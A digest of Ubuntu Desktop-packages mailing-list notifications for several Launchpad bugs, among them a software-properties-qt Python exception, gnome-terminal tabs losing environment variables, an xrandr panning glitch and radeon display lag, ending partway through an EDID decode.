[Desktop-packages] [Bug 1923553] [NEW] software-properties-qt python exception on selecting "other" package source
Public bug reported:
on hirsute (21.04) software-properties-qt (software-properties-
qt/hirsute 0.99.8) (also callable as software-properties-kde) throws a
python exception when a package download source of "other" is selected.
this python traceback appears in the console:
Traceback (most recent call last):
File
"/usr/lib/python3/dist-packages/softwareproperties/qt/SoftwarePropertiesQt.py",
line 454, in on_combobox_server_changed
dialogue = DialogMirror(self.userinterface, self.datadir, self.distro,
self.custom_mirrors)
File "/usr/lib/python3/dist-packages/softwareproperties/qt/DialogMirror.py",
line 55, in __init__
self.country_info = CountryInformation()
File
"/usr/lib/python3/dist-packages/softwareproperties/CountryInformation.py", line
34, in __init__
it = et.getiterator('iso_3166_entry')
AttributeError: 'ElementTree' object has no attribute 'getiterator'
i assume the underlying python code being called is using the long
deprecated and now removed "getiterator" method in ElementTree to
generate the list of "other" download sources.
** Affects: software-properties (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to software-properties in Ubuntu.
https://bugs.launchpad.net/bugs/1923553
Title:
software-properties-qt python exception on selecting "other" package
source
Status in software-properties package in Ubuntu:
New
Bug description:
on hirsute (21.04) software-properties-qt (software-properties-
qt/hirsute 0.99.8) (also callable as software-properties-kde) throws a
python exception when a package download source of "other" is
selected.
this python traceback appears in the console:
Traceback (most recent call last):
File
"/usr/lib/python3/dist-packages/softwareproperties/qt/SoftwarePropertiesQt.py",
line 454, in on_combobox_server_changed
dialogue = DialogMirror(self.userinterface, self.datadir, self.distro,
self.custom_mirrors)
File
"/usr/lib/python3/dist-packages/softwareproperties/qt/DialogMirror.py", line
55, in __init__
self.country_info = CountryInformation()
File
"/usr/lib/python3/dist-packages/softwareproperties/CountryInformation.py", line
34, in __init__
it = et.getiterator('iso_3166_entry')
AttributeError: 'ElementTree' object has no attribute 'getiterator'
i assume the underlying python code being called is using the long
deprecated and now removed "getiterator" method in ElementTree to
generate the list of "other" download sources.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1923553/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1922839] Re: Opening new tab in gnome-terminal launched from nautilus loses most environment variables
The attachment "gnome-terminal debdiff for hirsute" seems to be a debdiff. The ubuntu-sponsors team has been subscribed to the bug report so that they can review and hopefully sponsor the debdiff. If the attachment isn't a patch, please remove the "patch" flag from the attachment, remove the "patch" tag, and if you are member of the ~ubuntu-sponsors, unsubscribe the team. [This is an automated message performed by a Launchpad user owned by ~brian-murray, for any issue please contact him.] ** Tags added: patch -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-terminal in Ubuntu. https://bugs.launchpad.net/bugs/1922839 Title: Opening new tab in gnome-terminal launched from nautilus loses most environment variables Status in gnome-terminal package in Ubuntu: New Status in gnome-terminal source package in Hirsute: New Bug description: [Impact] If you launch gnome-terminal by right clicking a directory in Nautilus, selecting "Open in Terminal", you get a fully functional terminal window. If you then press the new tab button, or ctrl-shift-t to open a new terminal tab, you will find that most environment variables have become unset, and you see the text: To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. Comparing printenv between: Normal terminal: https://paste.ubuntu.com/p/2hcCY9hbHQ/ Broken new terminal tab: https://paste.ubuntu.com/p/zYsjRHVJH7/ Most commands won't run in the new terminal tab, due to $HOME and $USER not being set. Note, if you launch gnome-terminal from gnome-shell or the dock, and create a new tab, everything works perfectly. Is something wrong with the Nautilus option for "Open in Terminal"? [Testcase] 1. Launch Nautilus to home directory 2. Right click > "Open in Terminal" 3. Run "printenv" to see full list of env variables 4. Click new tab button, or ctrl-shift-t 5. Run "printenv" see the lack of env variables I have a test package available in the below ppa: https://launchpad.net/~mruffell/+archive/ubuntu/lp1922839-test The build in the ppa has 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac reverted. If you install this package, environment variables will be set correctly. [Where problems could occur] I think there is some risk with re-instating a commit which has been reverted, and users could run into similar issues as found in the upstream bug. We do have some supporting evidence that the commit isn't too harmful, since it is applied to Groovy currently, things work as intended there, and users haven't complained about the issues in the upstream bug applying to Groovy. If a regression were to occur, then launching a new gnome-terminal or opening a new tab could land the user with a terminal with little to no environment variables set. A workaround will be to launch gnome- terminal from gnome-shell overview. [Other info] Focal and Groovy have the following commit applied: commit fd5ac772154426e2da5afd633b336414bca33be9 Author: Christian Persch Date: Mon Mar 23 09:57:56 2020 +0100 Subject: screen: Use clean env when creating new tab Link: https://gitlab.gnome.org/GNOME/gnome-terminal/-/commit/fd5ac772154426e2da5afd633b336414bca33be9 This was then reverted in 3.38.1 due to the upstream bug: https://gitlab.gnome.org/GNOME/gnome-terminal/-/issues/253 The reverted commit is: commit 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac Author: Christian Persch Date: Thu Sep 17 17:10:47 2020 +0200 Subject: Revert "screen: Use clean env when creating new tab" Link: https://gitlab.gnome.org/GNOME/gnome-terminal/-/commit/16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac This revert seems to have broken Hirsute. If we revert the revert, that is, apply the commit again, things work as intended. To fix this, we need to re-apply fd5ac772154426e2da5afd633b336414bca33be9. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1922839/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923542] [NEW] "Failed to restart network-manager.service: Unit network-manager.service not found." during package update
Public bug reported: I updated network-manger on hirsute: network-manager-config-connectivity-ubuntu (1.30.0-1ubuntu3) over (1.30.0-1ubuntu2) During the postinst run, I get: Setting up network-manager-config-connectivity-ubuntu (1.30.0-1ubuntu3) ... Failed to restart network-manager.service: Unit network-manager.service not found. invoke-rc.d: initscript network-manager, action "force-reload" failed. The reason seems to be that there is no network-manager.service . it's called NetworkManager.service . ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: network-manager 1.30.0-1ubuntu3 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Apr 13 06:15:31 2021 InstallationDate: Installed on 2020-12-08 (125 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) RebootRequiredPkgs: network-manager SourcePackage: network-manager UpgradeStatus: Upgraded to hirsute on 2020-12-09 (124 days ago) nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.30.0 connected started full enabled enabled enabled enabled enabled ** Affects: network-manager (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug hirsute wayland-session -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1923542 Title: "Failed to restart network-manager.service: Unit network- manager.service not found." during package update Status in network-manager package in Ubuntu: New Bug description: I updated network-manger on hirsute: network-manager-config-connectivity-ubuntu (1.30.0-1ubuntu3) over (1.30.0-1ubuntu2) During the postinst run, I get: Setting up network-manager-config-connectivity-ubuntu (1.30.0-1ubuntu3) ... Failed to restart network-manager.service: Unit network-manager.service not found. invoke-rc.d: initscript network-manager, action "force-reload" failed. The reason seems to be that there is no network-manager.service . it's called NetworkManager.service . ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: network-manager 1.30.0-1ubuntu3 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Apr 13 06:15:31 2021 InstallationDate: Installed on 2020-12-08 (125 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) RebootRequiredPkgs: network-manager SourcePackage: network-manager UpgradeStatus: Upgraded to hirsute on 2020-12-09 (124 days ago) nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.30.0 connected started full enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1923542/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923513] Re: xrandr --panning problem
** Tags added: focal ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923513 Title: xrandr --panning problem Status in xorg-server package in Ubuntu: New Bug description: Dear community Recently I upgraded my old netbook from Linux from Linux Mint 18 to Linux Mint 20 Distribution: cat /etc/upstream-release/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION="Ubuntu Focal Fossa" Netbook is with small screen 1024x600 To get bigger virtual screen I use xrandr like: xrandr --fb 1024x768 --output LVDS1 --panning 1024x768 To return to normal screen I use xrandr --fb 1024x600 What is expected: when the mouse moves outside the 1024x600 screen - new "clean" virtual area appears. What is in reality: With fresh Ubuntu the first script results to wrong "background" image on the extended area: When I move mouse down below the original 600 pixels, first 768-600=168 strings are shown like a background image. Or new virtual 601 string is the copy of the old 1 602 string is the copy of the old 2 ... 768 string is the copy of the old 168 It looks like an index shift in the array: The string which "disappears" from the top is moved to the bottom This "background" image can be overwritten by the real application window. For example, if I move the terminal window it appears on the top of this "background" But after moving mouse back inside the 1024x600 screen and back outside the 1024x600 screen, the shifted copy of the top part of the screen appears at the bottom according the 1->601 2->602 etc logic. After playing a lot with xrandr parameters I had found a workaround: One has to specify the first parameter in --fb bigger than the first parameter in --panning For example: xrandr --fb 1025x768 --output LVDS1 --panning 1024x768 Here 1025>1024 I had checked this bug with two different laptops, so it is not related with the hardware. More information: xrandr -v xrandr program version 1.5.0 Server reports RandR version 1.6 The working configuration: xrandr Screen 0: minimum 8 x 8, current 1025 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis Wrongly working configuration: xrandr Screen 0: minimum 8 x 8, current 1024 x 768, maximum 32767 x 32767 LVDS1 connected primary 1024x768+0+0 (normal left inverted right x axis y axis) 220mm x 130mm panning 1024x768+0+0 1024x600 60.19*+ 1024x576 59.9059.82 960x540 59.6359.82 800x600 60.3256.25 864x486 59.9259.57 640x480 59.94 720x405 59.5158.99 640x360 59.8459.32 512x300 60.00 VGA1 disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis) Hope you can reproduce this bug. Best regards, Dmitry To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923513/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923153] Re: [radeon] Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
Another useful thing that would be easy to test: Does the same bug occur in hirsute? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: [radeon] Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xorg-server package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923153] Re: [radeon] Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
Hi Daniel, The "AMD R7 430" is the product name of the graphic card. https://ssl.www8.hp.com/emea_africa/en/products/oas/product-detail.html?oid=26185185 I guess it's related to radeon driver since we could see this issue with amd RX550 as well. ** Tags added: originate-from-1923120 ** Tags added: originate-from-1921875 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: [radeon] Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xorg-server package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1922839] Re: Opening new tab in gnome-terminal launched from nautilus loses most environment variables
Attached is a debdiff for Hirsute which re-applies "screen: Use clean env when creating new tab" and is the same patch in the PPA. ** Description changed: [Impact] If you launch gnome-terminal by right clicking a directory in Nautilus, selecting "Open in Terminal", you get a fully functional terminal window. If you then press the new tab button, or ctrl-shift-t to open a new terminal tab, you will find that most environment variables have become unset, and you see the text: To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. Comparing printenv between: Normal terminal: https://paste.ubuntu.com/p/2hcCY9hbHQ/ Broken new terminal tab: https://paste.ubuntu.com/p/zYsjRHVJH7/ Most commands won't run in the new terminal tab, due to $HOME and $USER not being set. Note, if you launch gnome-terminal from gnome-shell or the dock, and create a new tab, everything works perfectly. Is something wrong with the Nautilus option for "Open in Terminal"? [Testcase] 1. Launch Nautilus to home directory 2. Right click > "Open in Terminal" 3. Run "printenv" to see full list of env variables 4. Click new tab button, or ctrl-shift-t 5. Run "printenv" see the lack of env variables I have a test package available in the below ppa: https://launchpad.net/~mruffell/+archive/ubuntu/lp1922839-test The build in the ppa has 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac reverted. If you install this package, environment variables will be set correctly. [Where problems could occur] I think there is some risk with re-instating a commit which has been reverted, and users could run into similar issues as found in the upstream bug. We do have some supporting evidence that the commit isn't too harmful, since it is applied to Groovy currently, things work as intended there, and users haven't complained about the issues in the upstream bug applying to Groovy. If a regression were to occur, then launching a new gnome-terminal or opening a new tab could land the user with a terminal with little to no environment variables set. A workaround will be to launch gnome-terminal from gnome-shell overview. [Other info] - Groovy has the following commit applied: + Focal and Groovy have the following commit applied: commit fd5ac772154426e2da5afd633b336414bca33be9 Author: Christian Persch Date: Mon Mar 23 09:57:56 2020 +0100 Subject: screen: Use clean env when creating new tab Link: https://gitlab.gnome.org/GNOME/gnome-terminal/-/commit/fd5ac772154426e2da5afd633b336414bca33be9 This was then reverted in 3.38.1 due to the upstream bug: https://gitlab.gnome.org/GNOME/gnome-terminal/-/issues/253 The reverted commit is: commit 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac Author: Christian Persch Date: Thu Sep 17 17:10:47 2020 +0200 Subject: Revert "screen: Use clean env when creating new tab" Link: https://gitlab.gnome.org/GNOME/gnome-terminal/-/commit/16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac - This revert seems to have broken Hirsute. If we revert the revert, that is, - apply the commit again, things work as intended. + This revert seems to have broken Hirsute. If we revert the revert, that + is, apply the commit again, things work as intended. To fix this, we need to revert 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac. ** Patch added: "gnome-terminal debdiff for hirsute" https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1922839/+attachment/5487098/+files/lp1922839_hirsute.debdiff ** Description changed: [Impact] If you launch gnome-terminal by right clicking a directory in Nautilus, selecting "Open in Terminal", you get a fully functional terminal window. If you then press the new tab button, or ctrl-shift-t to open a new terminal tab, you will find that most environment variables have become unset, and you see the text: To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. Comparing printenv between: Normal terminal: https://paste.ubuntu.com/p/2hcCY9hbHQ/ Broken new terminal tab: https://paste.ubuntu.com/p/zYsjRHVJH7/ Most commands won't run in the new terminal tab, due to $HOME and $USER not being set. Note, if you launch gnome-terminal from gnome-shell or the dock, and create a new tab, everything works perfectly. Is something wrong with the Nautilus option for "Open in Terminal"? [Testcase] 1. Launch Nautilus to home directory 2. Right click > "Open in Terminal" 3. Run "printenv" to see full list of env variables 4. Click new tab button, or ctrl-shift-t 5. Run "printenv" see the lack of env variables I have a test package available in the below ppa: https://launchpad.net/~mruffell/+archive/ubuntu/lp1922839-test The build in the ppa has 16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac reverted.
[Desktop-packages] [Bug 1923512] Re: Simple Scan
** Package changed: xorg (Ubuntu) => simple-scan (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to simple-scan in Ubuntu. https://bugs.launchpad.net/bugs/1923512 Title: Simple Scan Status in simple-scan package in Ubuntu: New Bug description: Non si avvia ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-122.124-generic 4.15.18 Uname: Linux 4.15.0-122-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.17 Architecture: i386 CompositorRunning: None Date: Mon Apr 12 23:52:06 2021 DistUpgraded: 2020-12-01 13:10:34,496 DEBUG /openCache(), new cache size 61032 DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.18, 4.15.0-122-generic, i686: installed GraphicsCard: Intel Corporation 4 Series Chipset Integrated Graphics Controller [8086:2e32] (rev 03) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4 Series Chipset Integrated Graphics Controller [1043:836d] InstallationDate: Installed on 2019-10-24 (536 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release i386 (20160420.1) MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-122-generic root=UUID=6461ddc3-6faf-4eb3-8849-9f07b17f6e9d ro quiet splash Renderer: Software SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2020-12-01 (132 days ago) dmi.bios.date: 06/22/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 0416 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5QPL-AM dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr0416:bd06/22/2010:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5QPL-AM:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.101-2~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.8-0ubuntu1~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.0.8-0ubuntu1~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.7 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Sun Mar 8 18:21:30 2020 xserver.configfile: default xserver.devices: inputPower Button KEYBOARD, id 6 inputPower Button KEYBOARD, id 7 inputYSTEK USB Mouse MOUSE, id 8 inputMicrosoft® LifeCam VX-2000: Mi KEYBOARD, id 9 inputAT Translated Set 2 keyboard KEYBOARD, id 10 xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.6-1ubuntu4.4 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/simple-scan/+bug/1923512/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923437] Re: can't set 2560x1440 resolution after installing nvidia drivers
It appears 2560x1440 was a fake mode created by the open source driver. It's not a mode that is officially supported by the monitor itself, whose data I have decoded below: EDID version: 1.4 Manufacturer: GSM Model 23305 Serial Number 181370 Made in week 5 of 2016 Digital display 10 bits per primary color channel DisplayPort interface Maximum image size: 60 cm x 34 cm Gamma: 2.20 DPMS levels: Standby Supported color formats: RGB 4:4:4, YCrCb 4:4:4, YCrCb 4:2:2 Default (sRGB) color space is primary color space First detailed timing includes the native pixel format and preferred refresh rate Color Characteristics Red: 0.6523, 0.3349 Green: 0.3046, 0.6367 Blue: 0.1484, 0.0615 White: 0.3134, 0.3291 Established Timings I & II 640x48059.940 Hz 4:331.469 kHz 25.175 MHz (DMT) 800x60060.317 Hz 4:337.879 kHz 40.000 MHz (DMT) 1024x76860.004 Hz 4:348.363 kHz 65.000 MHz (DMT) Standard Timings 1152x86459.959 Hz 4:353.783 kHz 81.750 MHz (EDID 1.4 source: CVT) 1152x86460.000 Hz 4:353.700 kHz 81.624 MHz (EDID 1.3 source: GTF) 1280x1024 60.020 Hz 5:463.981 kHz 108.000 MHz (DMT) 1280x72060.000 Hz 16:945.000 kHz 74.250 MHz (DMT) 1600x90060.000 Hz 16:960.000 kHz 108.000 MHz (DMT, RB) 1920x1080 60.000 Hz 16:967.500 kHz 148.500 MHz (DMT) 1280x80059.810 Hz 16:10 49.702 kHz 83.500 MHz (DMT) Detailed mode: Clock 533.280 MHz, 600 mm x 340 mm 3840 3848 3992 4000 ( 8 144 8) 2160 2214 2219 ( 54 5 3) +hsync -vsync VertFreq: 60.000 Hz, HorFreq: 133.320 kHz Detailed mode: Clock 266.640 MHz, 600 mm x 340 mm 3840 3848 3992 4000 ( 8 144 8) 2160 2214 2219 ( 54 5 3) +hsync -vsync VertFreq: 30.000 Hz, HorFreq: 66.660 kHz Display Range Limits Monitor ranges (GTF): 56-61 Hz V, 30-135 kHz H, max dotclock 560 MHz Display Product Name: LG Ultra HD Has 1 extension block Checksum: 0x11 CTA-861 Extension Block Revision 3 Basic audio support Supports YCbCr 4:4:4 Supports YCbCr 4:2:2 1 native detailed modes 13 bytes of CTA data blocks Video Data Block 1920x1080 60.000 Hz 16:967.500 kHz 148.500 MHz (VIC 16, native) 1280x72060.000 Hz 16:945.000 kHz 74.250 